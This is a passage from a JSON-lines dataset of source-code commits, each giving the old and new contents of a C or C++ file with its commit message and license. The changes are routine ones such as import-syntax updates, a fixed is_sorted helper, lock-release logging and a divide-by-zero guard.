/peloton"}
{"commit":"6e61eb443ffd8c2e9e5a7ebca80f3d2fda63fd12","old_file":"Motif\/Motif.h","new_file":"Motif\/Motif.h","old_contents":"\/\/\n\/\/  Motif.h\n\/\/  Motif\n\/\/\n\/\/  Created by Eric Horacek on 3\/29\/15.\n\/\/  Copyright (c) 2015 Eric Horacek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Motif.\nFOUNDATION_EXPORT double MotifVersionNumber;\n\n\/\/! Project version string for Motif.\nFOUNDATION_EXPORT const unsigned char MotifVersionString[];\n\n#import \"MTFBackwardsCompatableNullability.h\"\n#import \"MTFTheme.h\"\n#import \"MTFThemeClass.h\"\n#import \"MTFThemeClassApplicable.h\"\n#import \"MTFDynamicThemeApplier.h\"\n#import \"MTFThemeParser.h\"\n#import \"NSObject+ThemeClassAppliers.h\"\n#import \"NSObject+ThemeClassName.h\"\n#import \"MTFReverseTransformedValueClass.h\"\n#import \"MTFObjCTypeValueTransformer.h\"\n\n#ifdef __IPHONE_OS_VERSION_MIN_REQUIRED\n    #import \"MTFScreenBrightnessThemeApplier.h\"\n    #import \"MTFColorFromStringTransformer.h\"\n    #import \"MTFEdgeInsetsFromStringTransformer.h\"\n    #import \"MTFPointFromStringTransformer.h\"\n    #import \"MTFRectFromStringTransformer.h\"\n    #import \"MTFSizeFromStringTransformer.h\"\n#endif\n","new_contents":"\/\/\n\/\/  Motif.h\n\/\/  Motif\n\/\/\n\/\/  Created by Eric Horacek on 3\/29\/15.\n\/\/  Copyright (c) 2015 Eric Horacek. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\/\/! Project version number for Motif.\nFOUNDATION_EXPORT double MotifVersionNumber;\n\n\/\/! Project version string for Motif.\nFOUNDATION_EXPORT const unsigned char MotifVersionString[];\n\n#import <Motif\/MTFBackwardsCompatableNullability.h>\n#import <Motif\/MTFTheme.h>\n#import <Motif\/MTFThemeClass.h>\n#import <Motif\/MTFThemeClassApplicable.h>\n#import <Motif\/MTFDynamicThemeApplier.h>\n#import <Motif\/MTFThemeParser.h>\n#import <Motif\/NSObject+ThemeClassAppliers.h>\n#import <Motif\/NSObject+ThemeClassName.h>\n#import <Motif\/MTFReverseTransformedValueClass.h>\n#import <Motif\/MTFObjCTypeValueTransformer.h>\n\n#ifdef __IPHONE_OS_VERSION_MIN_REQUIRED\n    #import <Motif\/MTFScreenBrightnessThemeApplier.h>\n    #import <Motif\/MTFColorFromStringTransformer.h>\n    #import <Motif\/MTFEdgeInsetsFromStringTransformer.h>\n    #import <Motif\/MTFPointFromStringTransformer.h>\n    #import <Motif\/MTFRectFromStringTransformer.h>\n    #import <Motif\/MTFSizeFromStringTransformer.h>\n#endif\n","subject":"Use <> import syntax for umbrella header","message":"Use <> import syntax for umbrella header\n","lang":"C","license":"mit","repos":"jsslai\/Motif,jsslai\/Motif,ekurutepe\/Motif,erichoracek\/Motif,erichoracek\/Motif,jlawton\/Motif"}
{"commit":"27ef086cdd1037b2deaf58feeced028b2b8df154","old_file":"app\/tx\/main.c","new_file":"app\/tx\/main.c","old_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"radio.h\"\n\nvoid radio_event_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n\n    radio_packet_t packet;\n    packet.len = 4;\n\n    radio_init(radio_event_handler);\n\n    NRF_GPIO->DIR = 1 << 18;\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        radio_send(&packet);\n\n        NRF_GPIO->OUTSET = 1 << 18;\n        nrf_delay_us(100000);\n        NRF_GPIO->OUTCLR = 1 << 18;\n        nrf_delay_us(100000);\n    }\n}\n","new_contents":"#include <stdio.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"nrf51.h\"\n#include \"nrf_delay.h\"\n\n#include \"error.h\"\n#include \"radio.h\"\n\nvoid radio_evt_handler(radio_evt_t * evt)\n{\n\n}\n\nint main(void)\n{\n    uint8_t i = 0; \n\n    radio_packet_t packet;\n    packet.len = 4;\n    packet.flags.ack = 0;\n\n    radio_init(radio_evt_handler);\n\n    NRF_GPIO->DIR = 1 << 18;\n\n    while (1)\n    {\n        packet.data[0] = i++;\n        packet.data[1] = 0x12;\n        radio_send(&packet);\n\n        NRF_GPIO->OUTSET = 1 << 18;\n        nrf_delay_us(100000);\n        NRF_GPIO->OUTCLR = 1 << 18;\n        nrf_delay_us(100000);\n    }\n}\n","subject":"Rename the radio event handler.","message":"Rename the radio event handler.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
{"commit":"145d1d2ef55ac62417539d7e7d8adebe90b37808","old_file":"testsuite\/testing-tools\/algorithm.h","new_file":"testsuite\/testing-tools\/algorithm.h","old_contents":"\/*\n * Copyright (c) 2015-2018 Morwenn\n * SPDX-License-Identifier: MIT\n *\/\n#ifndef CPPSORT_TESTSUITE_ALGORITHM_H_\n#define CPPSORT_TESTSUITE_ALGORITHM_H_\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <functional>\n#include <iterator>\n#include <cpp-sort\/utility\/as_function.h>\n#include <cpp-sort\/utility\/functional.h>\n\nnamespace helpers\n{\n    template<\n        typename Iterator,\n        typename Compare = std::less<>,\n        typename Projection = cppsort::utility::identity\n    >\n    auto is_sorted(Iterator first, Iterator last,\n                   Compare compare={}, Projection projection={})\n        -> bool\n    {\n        auto&& comp = cppsort::utility::as_function(compare);\n        auto&& proj = cppsort::utility::as_function(projection);\n\n        for (auto it = std::next(first) ; it != last ; ++it) {\n            if (comp(proj(*it), proj(*first))) {\n                return false;\n            }\n        }\n        return true;\n    }\n\n    template<\n        typename ForwardIterator,\n        typename T,\n        typename Projection = cppsort::utility::identity\n    >\n    auto iota(ForwardIterator first, ForwardIterator last,\n              T value, Projection projection={})\n        -> void\n    {\n        auto&& proj = cppsort::utility::as_function(projection);\n\n        while (first != last)\n        {\n            proj(*first++) = value;\n            ++value;\n        }\n    }\n}\n\n#endif \/\/ CPPSORT_TESTSUITE_ALGORITHM_H_\n","new_contents":"\/*\n * Copyright (c) 2015-2021 Morwenn\n * SPDX-License-Identifier: MIT\n *\/\n#ifndef CPPSORT_TESTSUITE_ALGORITHM_H_\n#define CPPSORT_TESTSUITE_ALGORITHM_H_\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include <functional>\n#include <cpp-sort\/utility\/as_function.h>\n#include <cpp-sort\/utility\/functional.h>\n\nnamespace helpers\n{\n    template<\n        typename Iterator,\n        typename Compare = std::less<>,\n        typename Projection = cppsort::utility::identity\n    >\n    constexpr auto is_sorted(Iterator first, Iterator last,\n                             Compare compare={}, Projection projection={})\n        -> bool\n    {\n        auto&& comp = cppsort::utility::as_function(compare);\n        auto&& proj = cppsort::utility::as_function(projection);\n\n        if (first == last) {\n            return true;\n        }\n\n        auto next = first;\n        while (++next != last) {\n            if (comp(proj(*next), proj(*first))) {\n                return false;\n            }\n            ++first;\n        }\n        return true;\n    }\n\n    template<\n        typename ForwardIterator,\n        typename T,\n        typename Projection = cppsort::utility::identity\n    >\n    auto iota(ForwardIterator first, ForwardIterator last,\n              T value, Projection projection={})\n        -> void\n    {\n        auto&& proj = cppsort::utility::as_function(projection);\n\n        while (first != last)\n        {\n            proj(*first++) = value;\n            ++value;\n        }\n    }\n}\n\n#endif \/\/ CPPSORT_TESTSUITE_ALGORITHM_H_\n","subject":"Fix incorrect is_sorted implementation in the test suite","message":"Fix incorrect is_sorted implementation in the test suite\n\nI'm not sure how this managed to slip under my radar since 2015, that's\na bit embarrassing.\n","lang":"C","license":"mit","repos":"Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort,Morwenn\/cpp-sort"}
{"commit":"c79713ed09ebd9ac54a52c573b47e86d33a39400","old_file":"3RVX\/Controllers\/BrightnessController.h","new_file":"3RVX\/Controllers\/BrightnessController.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#pragma comment(lib, \"Dxva2.lib\") \n\n#include <Windows.h>\n#include <HighLevelMonitorConfigurationAPI.h>\n\nclass Monitor;\n\nclass BrightnessController {\npublic:\n    BrightnessController(HMONITOR monitor);\n    BrightnessController(Monitor &monitor);\n\n    float Brightness();\n    void Brightness(float level);\n\nprivate:\n    bool SupportsBrightnessAPI(PHYSICAL_MONITOR &pm);\n};","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#pragma comment(lib, \"Dxva2.lib\") \n\n#include <Windows.h>\n#include <HighLevelMonitorConfigurationAPI.h>\n\nclass Monitor;\n\nclass BrightnessController {\npublic:\n    BrightnessController(HMONITOR monitor);\n    BrightnessController(Monitor &monitor);\n\n    float Brightness();\n    void Brightness(float level);\n\nprivate:\n    bool _useBrightnessAPI;\n\n    bool SupportsBrightnessAPI(PHYSICAL_MONITOR &pm);\n};","subject":"Add bool for brightness API usage","message":"Add bool for brightness API usage\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"1654c426db17e35b211fa86cea327c6b38d44317","old_file":"src\/devices\/ram.h","new_file":"src\/devices\/ram.h","old_contents":"#ifndef RAM_H_\n#define RAM_H_\n\n#define RAM_BASE  (1ULL << 12)\n#define RAM_END  ((1ULL << 16) - 1)\n\n#endif\n\n","new_contents":"#ifndef RAM_H_\n#define RAM_H_\n\n#define RAM_BASE  (1ULL << 12)\n#define RAM_END  ((1ULL << 14) - 1)\n\n#endif\n\n","subject":"Make assembly prologue match new memory map","message":"Make assembly prologue match new memory map\n","lang":"C","license":"mit","repos":"kulp\/tenyr,kulp\/tenyr,kulp\/tenyr"}
{"commit":"6bfa5c586b87a36f742e0525e6c337074b68978d","old_file":"arch\/powerpc\/include\/asm\/abs_addr.h","new_file":"arch\/powerpc\/include\/asm\/abs_addr.h","old_contents":"#ifndef _ASM_POWERPC_ABS_ADDR_H\n#define _ASM_POWERPC_ABS_ADDR_H\n#ifdef __KERNEL__\n\n\n\/*\n * c 2001 PPC 64 Team, IBM Corp\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/memblock.h>\n\n#include <asm\/types.h>\n#include <asm\/page.h>\n#include <asm\/prom.h>\n\n#define phys_to_abs(pa) (pa)\n\n\/* Convenience macros *\/\n#define virt_to_abs(va) __pa(va)\n#define abs_to_virt(aa) __va(aa)\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_ABS_ADDR_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_ABS_ADDR_H\n#define _ASM_POWERPC_ABS_ADDR_H\n#ifdef __KERNEL__\n\n\n\/*\n * c 2001 PPC 64 Team, IBM Corp\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\n#include <linux\/memblock.h>\n\n#include <asm\/types.h>\n#include <asm\/page.h>\n#include <asm\/prom.h>\n\n\/* Convenience macros *\/\n#define virt_to_abs(va) __pa(va)\n#define abs_to_virt(aa) __va(aa)\n\n#endif \/* __KERNEL__ *\/\n#endif \/* _ASM_POWERPC_ABS_ADDR_H *\/\n","subject":"Remove phys_to_abs() now all users have been removed","message":"powerpc: Remove phys_to_abs() now all users have been removed\n\nSigned-off-by: Michael Ellerman <17b9e1c64588c7fa6419b4d29dc1f4426279ba01@ellerman.id.au>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"e5607744456ae98cd0379d076bd68dd4cbf1495e","old_file":"chap1\/ctof.c","new_file":"chap1\/ctof.c","old_contents":"","new_contents":"#include <stdio.h>\n\n\/* print Celsius to Fahrenheit  table\n * for Fahrenheit 0, 20, ..., 300 *\/\nint main() \n{\n    float fahr;\n    float cel;\n    int lower;\n    int upper;\n    int step;\n\n    lower = 0; \/* lower bound for the table *\/\n    upper = 150; \/* upper bound for the table *\/\n    step = 10; \/* amount to step by *\/\n\n    printf(\" C \\t\");\n    printf(\"   F   \\n\");\n    cel = lower;\n    while (cel <= upper) {\n        fahr = (9.0 \/ 5.0 * cel) + 32.0;\n        \/* cel = (5.0 \/ 9.0) * (fahr - 32.0); *\/\n        printf(\"%6.0f\\t%3.1f\\n\", cel, fahr);\n        cel += step;\n    }\n}\n","subject":"Add C to F program","message":"Add C to F program\n","lang":"C","license":"mit","repos":"jabocg\/theclang"}
{"commit":"596ee1d8c4e7a34020579dfefcf86a8c5a0a1814","old_file":"src\/shlwapi_dll.c","new_file":"src\/shlwapi_dll.c","old_contents":"\/**\n  * Win32 UTF-8 wrapper\n  *\n  * ----\n  *\n  * shlwapi.dll functions.\n  *\/\n\n#include <Shlwapi.h>\n#include \"win32_utf8.h\"\n\nBOOL STDAPICALLTYPE PathMatchSpecU(\n\t__in LPCSTR pszFile,\n\t__in LPCSTR pszSpec\n)\n{\n\tBOOL ret;\n\tWCHAR_T_DEC(pszFile);\n\tWCHAR_T_DEC(pszSpec);\n\tWCHAR_T_CONV(pszFile);\n\tWCHAR_T_CONV(pszSpec);\n\tret = PathMatchSpecW(pszFile_w, pszSpec_w);\n\tVLA_FREE(pszFile_w);\n\tVLA_FREE(pszSpec_w);\n\treturn ret;\n}\n\nBOOL STDAPICALLTYPE PathFileExistsU(\n\t__in LPCSTR pszPath\n)\n{\n\tBOOL ret;\n\tWCHAR_T_DEC(pszPath);\n\tWCHAR_T_CONV(pszPath);\n\tret = PathFileExistsW(pszPath_w);\n\tVLA_FREE(pszPath_w);\n\treturn ret;\n}\n\nBOOL STDAPICALLTYPE PathRemoveFileSpecU(\n\t__inout LPSTR pszPath\n)\n{\n\t\/\/ Hey, let's re-write the function to also handle forward slashes\n\t\/\/ while we're at it!\n\tLPSTR newPath = PathFindFileNameA(pszPath);\n\tif((newPath) && (newPath != pszPath)) {\n\t\tnewPath[0] = TEXT('\\0');\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n","new_contents":"\/**\n  * Win32 UTF-8 wrapper\n  *\n  * ----\n  *\n  * shlwapi.dll functions.\n  *\/\n\n#include <Shlwapi.h>\n#include \"win32_utf8.h\"\n\nBOOL STDAPICALLTYPE PathFileExistsU(\n\t__in LPCSTR pszPath\n)\n{\n\tBOOL ret;\n\tWCHAR_T_DEC(pszPath);\n\tWCHAR_T_CONV_VLA(pszPath);\n\tret = PathFileExistsW(pszPath_w);\n\tVLA_FREE(pszPath_w);\n\treturn ret;\n}\n\nBOOL STDAPICALLTYPE PathMatchSpecU(\n\t__in LPCSTR pszFile,\n\t__in LPCSTR pszSpec\n)\n{\n\tBOOL ret;\n\tWCHAR_T_DEC(pszFile);\n\tWCHAR_T_DEC(pszSpec);\n\tWCHAR_T_CONV(pszFile);\n\tWCHAR_T_CONV(pszSpec);\n\tret = PathMatchSpecW(pszFile_w, pszSpec_w);\n\tVLA_FREE(pszFile_w);\n\tVLA_FREE(pszSpec_w);\n\treturn ret;\n}\n\nBOOL STDAPICALLTYPE PathRemoveFileSpecU(\n\t__inout LPSTR pszPath\n)\n{\n\t\/\/ Hey, let's re-write the function to also handle forward slashes\n\t\/\/ while we're at it!\n\tLPSTR newPath = PathFindFileNameA(pszPath);\n\tif((newPath) && (newPath != pszPath)) {\n\t\tnewPath[0] = TEXT('\\0');\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n","subject":"Reorder function definitions to match their order in the header file.","message":"Reorder function definitions to match their order in the header file.\n\nThis is driving me ma~d.\n","lang":"C","license":"unlicense","repos":"thpatch\/win32_utf8"}
{"commit":"4c5a3b621d60cff4b112fe48e93d17284f5d23fd","old_file":"net\/netisr_dispatch.h","new_file":"net\/netisr_dispatch.h","old_contents":"","new_contents":"\/* $NetBSD: netisr_dispatch.h,v 1.2 2000\/07\/02 04:40:47 cgd Exp $ *\/\n\n\/*\n * netisr_dispatch: This file is included by the \n *\tmachine dependant softnet function.  The\n *\tDONETISR macro should be set before including\n *\tthis file.  i.e.:\n *\n * softintr() {\n *\t...do setup stuff...\n *\t#define DONETISR(bit, fn) do { ... } while (0)\n *\t#include <net\/netisr_dispatch.h>\n *\t#undef DONETISR\n *\t...do cleanup stuff.\n * }\n *\/\n\n#ifndef _NET_NETISR_H_\n#error <net\/netisr.h> must be included before <net\/netisr_dispatch.h>\n#endif\n\n\/*\n * When adding functions to this list, be sure to add headers to provide\n * their prototypes in <net\/netisr.h> (if necessary).\n *\/\n\n#ifdef INET\n#include \"ether.h\"\n#if NETHER > 0\n\tDONETISR(NETISR_ARP,arpintr);\n#endif\n\tDONETISR(NETISR_IP,ipintr);\n#endif\n#ifdef INET6\n\tDONETISR(NETISR_IPV6,ip6intr);\n#endif\n#ifdef NETATALK\n\tDONETISR(NETISR_ATALK,atintr);\n#endif\n#ifdef IMP\n\tDONETISR(NETISR_IMP,impintr);\n#endif\n#ifdef IPX\n\tDONETISR(NETISR_IPX,ipxintr);\n#endif\n#ifdef NS\n\tDONETISR(NETISR_NS,nsintr);\n#endif\n#ifdef ISO\n\tDONETISR(NETISR_ISO,clnlintr);\n#endif\n#ifdef CCITT\n\tDONETISR(NETISR_CCITT,ccittintr);\n#endif\n#ifdef NATM\n\tDONETISR(NETISR_NATM,natmintr);\n#endif\n#include \"ppp.h\"\n#if NPPP > 0\n\tDONETISR(NETISR_PPP,pppintr);\n#endif\n#include \"bridge.h\"\n#if NBRIDGE > 0\n        DONETISR(NETISR_BRIDGE,bridgeintr);\n#endif\n","subject":"Add a centralized dispatcher for softnet interrupts. This is so that we won't need to change every arch on a softnet change.","message":"Add a centralized dispatcher for softnet interrupts.\nThis is so that we won't need to change every arch on a softnet change.\n\nFrom NetBSD.\n","lang":"C","license":"isc","repos":"orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars,orumin\/openbsd-efivars"}
{"commit":"e4fe1d72e8014e510cb2b308df1e353926f7ceab","old_file":"src\/dict.h","new_file":"src\/dict.h","old_contents":"\/* Copyright (c) 2012 Fritz Grimpen\n *\n * Permission is hereby granted, unalloc of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#define F_DICT_STRUCTS\n\n#include <f\/dict.h>\n\n#define SLOT(h) (((h) * (F_DICT_SLOTS_COUNT - 1)) % F_DICT_SLOTS_COUNT)\n#define BUCKET(d, h) ((h) % (d)->buckets_cnt)\n\n","new_contents":"\/* Copyright (c) 2012 Fritz Grimpen\n *\n * Permission is hereby granted, unalloc of charge, to any person obtaining a copy of\n * this software and associated documentation files (the \"Software\"), to deal in\n * the Software without restriction, including without limitation the rights to\n * use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n * the Software, and to permit persons to whom the Software is furnished to do so,\n * subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n * FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n * COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#define F_DICT_STRUCTS\n\n#include <f\/dict.h>\n\n#define SLOT(h) (((h) * (F_DICT_SLOTS_COUNT - 1)) & (F_DICT_SLOTS_COUNT - 1))\n#define BUCKET(d, h) ((h) % (d)->buckets_cnt)\n\n","subject":"Replace modulo by AND gatter","message":"Replace modulo by AND gatter\n","lang":"C","license":"mit","repos":"fritz0705\/libf"}
{"commit":"ddfac6ad96a03c3c6a5a638c4bf50ac00af8a58f","old_file":"src\/scenes\/appConstants.h","new_file":"src\/scenes\/appConstants.h","old_contents":"\n#pragma once\n\n\/\/ assume that visuals and code are the same here....\n\/\/ and also assuming our screen is square :)\n\n#define VISUALS_WIDTH 504\n#define VISUALS_HEIGHT 504\n\n#define CODE_WIDTH VISUALS_WIDTH\n#define CODE_HEIGHT VISUALS_HEIGHT\n\n#define CODE_X_POS 520      \/\/ via the tech staff\n\n\/\/if this is defined, we will wait for type animation\n#define TYPE_ANIMATION\n\n#define USE_MIDI_PARAM_SYNC\n\n\/\/ if this is defined, we will disable all sound playback inside this app, and instead send\n\/\/ OpenSoundControl messages which can be used to trigger sounds in another program (e.g. Ableton Live)\n\/\/#define USE_EXTERNAL_SOUNDS","new_contents":"\n#pragma once\n\n\/\/ assume that visuals and code are the same here....\n\/\/ and also assuming our screen is square :)\n\n#define VISUALS_WIDTH 504\n#define VISUALS_HEIGHT 504\n\n#define CODE_WIDTH VISUALS_WIDTH\n#define CODE_HEIGHT VISUALS_HEIGHT\n\n#define CODE_X_POS 520      \/\/ via the tech staff\n\n\/\/if this is defined, we will wait for type animation\n\/\/#define TYPE_ANIMATION\n\n#define USE_MIDI_PARAM_SYNC\n\n\/\/ if this is defined, we will disable all sound playback inside this app, and instead send\n\/\/ OpenSoundControl messages which can be used to trigger sounds in another program (e.g. Ableton Live)\n\/\/#define USE_EXTERNAL_SOUNDS","subject":"Revert accidental uncommenting of TYPE_ANIMATION","message":"Revert accidental uncommenting of TYPE_ANIMATION\n","lang":"C","license":"mit","repos":"sh0w\/recoded,sh0w\/recoded,sh0w\/recoded,ofZach\/dayForNightSFPC,sh0w\/recoded,ofZach\/dayForNightSFPC,ofZach\/dayForNightSFPC,ofZach\/dayForNightSFPC"}
{"commit":"6ec5fad7e7122413b6e15d07f2ead6a5be8220b9","old_file":"locks.h","new_file":"locks.h","old_contents":"\/\/ -*- c++ -*-\n#ifndef LOCKS_H\n#define LOCKS_H\n\n#include <pthread.h>\n\nnamespace locks {\n\ntemplate <typename L>\nvoid unlocker(void* lock_ptr)\n{\n    L* lock = (L*) lock_ptr;\n    lock->unlock();\n}\n\ntemplate <typename L>\nvoid unlocker_checked(void* lock_ptr)\n{\n    L& lock = *((L*) lock_ptr);\n    if (lock)\n        lock.unlock();\n}\n\n}\n\n#endif \/* LOCKS_H *\/\n","new_contents":"\/\/ -*- c++ -*-\n#ifndef LOCKS_H\n#define LOCKS_H\n\n#include <cstdio>\n#include <pthread.h>\n\nnamespace locks {\n\ntemplate <typename L>\nvoid unlocker(void* lock_ptr)\n{\n    L* lock = (L*) lock_ptr;\n    fprintf(stderr, \"Releasing lock (unchecked) during cancellation!\\n\");\n    lock->unlock();\n}\n\ntemplate <typename L>\nvoid unlocker_checked(void* lock_ptr)\n{\n    L& lock = *((L*) lock_ptr);\n    if (lock.owns_lock()) {\n        fprintf(stderr, \"Releasing lock (checked) during cancellation!\\n\");\n        lock.unlock();\n    }\n}\n\n}\n\n#endif \/* LOCKS_H *\/\n","subject":"Add logging etc. to lock release code.","message":"Add logging etc. to lock release code.\n","lang":"C","license":"lgpl-2.1","repos":"csw\/libraft,csw\/libraft"}
{"commit":"a1b4cdcacd8392ee180de0951263b0d5372fa7ce","old_file":"src\/list.h","new_file":"src\/list.h","old_contents":"#ifndef LIST_H\n#define LIST_H\n\n#define NEXT_NODE(node) node->next\n#define FINDTAILNODE(x) if(x)while(x->next)x=x->next;\n#define ADDNODEAFTER(x,t) if(x){t=x->next; x->next=malloc(sizeof(*t)); x->next->next=t;}\n\n#endif\n","new_contents":"#ifndef LIST_H\n#define LIST_H\n\n#define NEXT_NODE(node) node->next\n#define FINDTAILNODE(x) if(x)while(x->next)x=x->next;\n#define ADDNODE(x,t) if(x){t=x; x=malloc(sizeof(*x)); x->next=t;}\n#define ADDNODEAFTER(x,t) if(x){t=x->next; x->next=malloc(sizeof(*t)); x->next->next=t;}\n\n#endif\n","subject":"Add missing macro from last commit.","message":"Add missing macro from last commit.\n","lang":"C","license":"isc","repos":"heckendorfc\/libyaml-dom"}
{"commit":"b39de78113a9c224df0026ccb9cc629fe3b187e7","old_file":"src\/util.h","new_file":"src\/util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\n#include <chrono>\n#include <numeric>\n#include <iterator>\n#include <array>\n#include <algorithm>\n\n\nnamespace util\n{\n\n\nclass Timer\n{\npublic:\n  Timer() = default;\n  Timer(bool start_running);\n  ~Timer() = default;\n\n  void start();\n  void stop();\n  float stop_seconds();\n  float seconds();\n\nprivate:\n  std::chrono::high_resolution_clock::time_point start_time;\n  std::chrono::high_resolution_clock::time_point stop_time;\n};\n\n\nnamespace math\n{\n\n\ntemplate<typename T> int mean(T collection)\n{\n  return std::accumulate(std::begin(collection), std::end(collection), 0) \/ std::size(collection);\n}\n\n\n}  \/\/ namespace math\n\n\n}  \/\/ namespace util\n\n\n#endif  \/\/ UTIL_H\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n\n#include <chrono>\n#include <numeric>\n#include <iterator>\n#include <array>\n#include <algorithm>\n\n\nnamespace util\n{\n\n\nclass Timer\n{\npublic:\n  Timer() = default;\n  Timer(bool start_running);\n  ~Timer() = default;\n\n  void start();\n  void stop();\n  float stop_seconds();\n  float seconds();\n\nprivate:\n  std::chrono::high_resolution_clock::time_point start_time;\n  std::chrono::high_resolution_clock::time_point stop_time;\n};\n\n\nnamespace math\n{\n\n\ntemplate<typename T> int mean(T collection)\n{\n  if (std::size(collection) == 0)\n    return 0;\n  return std::accumulate(std::begin(collection), std::end(collection), 0) \/ std::size(collection);\n}\n\n\n}  \/\/ namespace math\n\n\n}  \/\/ namespace util\n\n\n#endif  \/\/ UTIL_H\n","subject":"Fix possible divide by zero error","message":"Fix possible divide by zero error\n","lang":"C","license":"mit","repos":"jwkpeter\/tincan"}
{"commit":"b9b636884725b783c3a33cf762148cbf19e0458d","old_file":"test\/lex.c","new_file":"test\/lex.c","old_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\n#define stringify(x) #x\n\nvoid digraph(void) {\n    expect_string(\"[\", stringify(<:));\n    expect_string(\"]\", stringify(:>));\n    expect_string(\"{\", stringify(<%));\n    expect_string(\"}\", stringify(%>));\n    expect_string(\"#\", stringify(%:));\n    expect_string(\"% :\", stringify(% :));\n    expect_string(\"##\", stringify(%:%:));\n    expect_string(\"#%\", stringify(%:%));\n}\n\nvoid escape(void) {\n    int value = 10;\n    expect(10, val\\\nue);\n}\n\nvoid whitespace(void) {\n    expect_string(\"x y\", stringify(\u000b\fx\u000b\fy\u000b\f));\n}\n\nvoid testmain(void) {\n    print(\"lexer\");\n    digraph();\n    escape();\n    whitespace();\n}\n","new_contents":"\/\/ Copyright 2012 Rui Ueyama <rui314@gmail.com>\n\/\/ This program is free software licensed under the MIT license.\n\n#include \"test.h\"\n\n#define 